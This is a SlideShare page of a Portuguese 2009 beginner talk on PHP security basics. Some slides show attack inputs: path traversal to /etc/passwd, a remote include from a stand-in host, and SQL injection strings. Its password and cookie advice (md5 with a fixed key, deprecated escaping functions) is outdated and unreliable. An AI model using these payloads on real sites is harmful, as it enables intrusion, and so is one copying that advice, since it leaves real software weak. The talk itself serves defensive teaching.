Hello SAFE World!!!

607 visualizações

Publicada em

Palestra ministrada na ULBRA Canoas em 2009, focando em "conceitos mínimos de segurança em PHP".

Publicada em: Tecnologia
0 comentários
0 gostaram
Estatísticas
Notas
  • Seja o primeiro a comentar

  • Seja a primeira pessoa a gostar disto

Sem downloads
Visualizações
Visualizações totais
607
No SlideShare
0
A partir de incorporações
0
Número de incorporações
2
Ações
Compartilhamentos
0
Downloads
6
Comentários
0
Gostaram
0
Incorporações 0
Nenhuma incorporação

Nenhuma nota no slide

Hello SAFE World!!!

  1. 1. Hello SAFE World!!! Conceitos mínimos de segurança em PHP Dalmir da Silva dalmirdasilva@gmail.com Everaldo Wanderlei Uavniczak everaldouav@gmail.com
  2. 2. Sobre a apresentaçãoNível:InicianteEscopo:Básico de segurança em Web, direcionado a PHPPré-requisitos:Nenhum
  3. 3. Vantagens do PHPfácil aprendizadotipagem dinâmica (fraca)é uma linguagem interpretada
  4. 4. Desvantagens do PHPtipagem dinâmicainicialização automática de variáveisconfigurações padrão não priorizam a segurança
  5. 5. A função error_reporting()Define quais erros serão reportadosAconselhado em Desenvolvimento:error_reporting(E_ALL|E_STRICT); // 6143ouerror_reporting(2147483647);Aconselhado em Produçãoerror_reporting(0);Veja php.net/error_reporting
  6. 6. Reforçando: error_reporting CRIEM O HÁBITODE USAR A FUNÇÃO error_reporting() NO INÍCIO DO SCRIPT PHP
  7. 7. Castingintval()floatval()strval()(int), (integer) - molde para inteiro(bool), (boolean) - converte para booleano(float), (double), (real) para número de ponto flutuante(string) - converte para string(binary) - converte para string binária (PHP 6)(array) - converte para array(object) - converte para objeto(unset) - converte para NULL (PHP 5)settype (&$var , $type )
  8. 8. Verifique o tipo da variávelis_int()is_float()is_numeric()is_string()is_escalar () // int, float, string, boolis_resource()is_object()is_numeric()is_null()is_array()is_boolgettype()
  9. 9. Register Globals PadrãoPHP < 4.2.0: truePHP >= 4.2.0: falsePHP 6: false (diretiva removida)Maioria dos servidores web = truehttp://testepeste.com/index.php?teste=boooif TRUE:$teste = booo;$_GET[teste] = booo;if FALSE$_GET[teste] = booo;$teste = ??? ; // variável não setada
  10. 10. Registe Globals - Problemashttp://testepeste.com/?autorizado=true<?phpif (usuario_autenticado()){$autorizado = true;}if ($autorizado){include /dados/altamente/sensiveis.php;}http://testepeste.com/?arquivo=../../etc/passwd<?phpinclude "meus_script/$arquivo";
  11. 11. Incluindo arquivos include() e include_once() require() e require_once() readfile()Arquivos que precisam de processamento PHPrequire($file);if ( file_exists($file) ) { include($file);} else { // tratamento de erro}Arquivos que não precisam de processamento PHPreadfile($file);
  12. 12. allow_url_include Padrão na maioria dos servidores weballow_url_include = off<?phpinclude($_GET[file]);http://testepeste.com/include.php?file=teste.phphttp://testepeste.com/include.php?file=http://hell.com/hahaha.txt
  13. 13. Pseudo-Casting Nome de Arquivos$f=eregi_replace([^a-zA-Z0-9_-], , $f); CEP$cep = eregi_replace([^0-9-], , $cep); Data de Nascimento$dn = eregi_replace([^0-9/], , $dn);
  14. 14. Criptografia de senhas Errado:$senha = md5($senha); Certo:$privatekey =dfmlkashfdkjahbiHIUT*&gjvhsdsva87%RgGYR;$senha=md5($privatekey.$senha.$privatekey);
  15. 15. SQL Injectionhttp://testepeste.com?relatorio.php?nome=NomeSELECT * FROM `user` WHERE nome=Nomehttp://testepeste.com?relatorio.php?nome= or 1SELECT * FROM `user` WHERE nome= or 1-----------------------------------------------http://testepeste.com?auth.php?login=admin&passwd=123SELECT * FROM `user` WHERE login=admin AND passwd=123http://testepeste.com?auth.php?login=admin#&passwd=SELECT * FROM `user` WHERE login=admin# AND passwd=-------------------------------------------------------Se magic_quotes_gpc estiver on pode duplicar as barras,entao use uma funcaofunction my_escape_strings( $string ) { if ( !get_magic_quotes_gpc() ) return mysql_escape_string( $string ); else return $string;}
  16. 16. XSS - Cross-Site ScriptingConsiste em Inserir conteúdo em HTML e JS no banco dedados ou na página que quando exibidos fazem algo htmlentities() htmlspecialchars() //substitui& (ampersand) torna-se &amp;" (aspas dupla) torna-se &quot; (aspas simples) torna-se '< (menor que) torna-se &lt;> (maior que) torna-se &gt; strip_tags() //remove<p onmouseover=alert(1)>algo</p> ficaria paenas algo
  17. 17. Arquivo de Senha SEMPRE FORA DA ÁRVORE WEBExemplo:/index.php/funcoes.php/outros_milhares_de_arquivos.php../xyz_super_secret_pass.php
  18. 18. Extensão dos arquivos .phpSEMPRE USEM EXTENSÕES .php JAMAIS USEM .incSE PRECISAREM, USEM .inc.php.inc nao é interpretado como .php, óbvio
  19. 19. SESSIONsession_start();session_regenerate_id(true);Ao registrar a sessão, grave o IP e verifique se ele mudouif (!isset($_SESSION[ip])) { $_SESSION[ip] = $_SERVER[REMOTE_ADDR];}if ($_SESSION[ip] !== $_SERVER[REMOTE_ADDR]) { session_destroy(); die(alguma mensagem);}
  20. 20. COOKIENunca salve somente o ID no cookie:Exemplo:cookie="100"Use algo como$cookie="100:7559e8cf919ecac5f918383ea07618b7"sendo$private_key = "djklHIU6*&%fytarsd76F67Gy7";$validate = $_SERVER[REMOTE_ADDRESS].$id.$privatekey;$cookie = "$id:$validate";
  21. 21. Impeça acesso direto ao arquivoUse constatante para controle:// arquivo index.phpdefine ("TESTEPESTE_SECURITY", true);// arquivos incluídosif (!defined(TESTEPESTE_SECURITY)) { die (Você não pode acessar esse arquivo diretamente) ;}// continua o script
  22. 22. Referênciahttp://shiflett.org/php-security.pdfhttp://php.net/http://phpsec.org/php-security-guide.pdf

×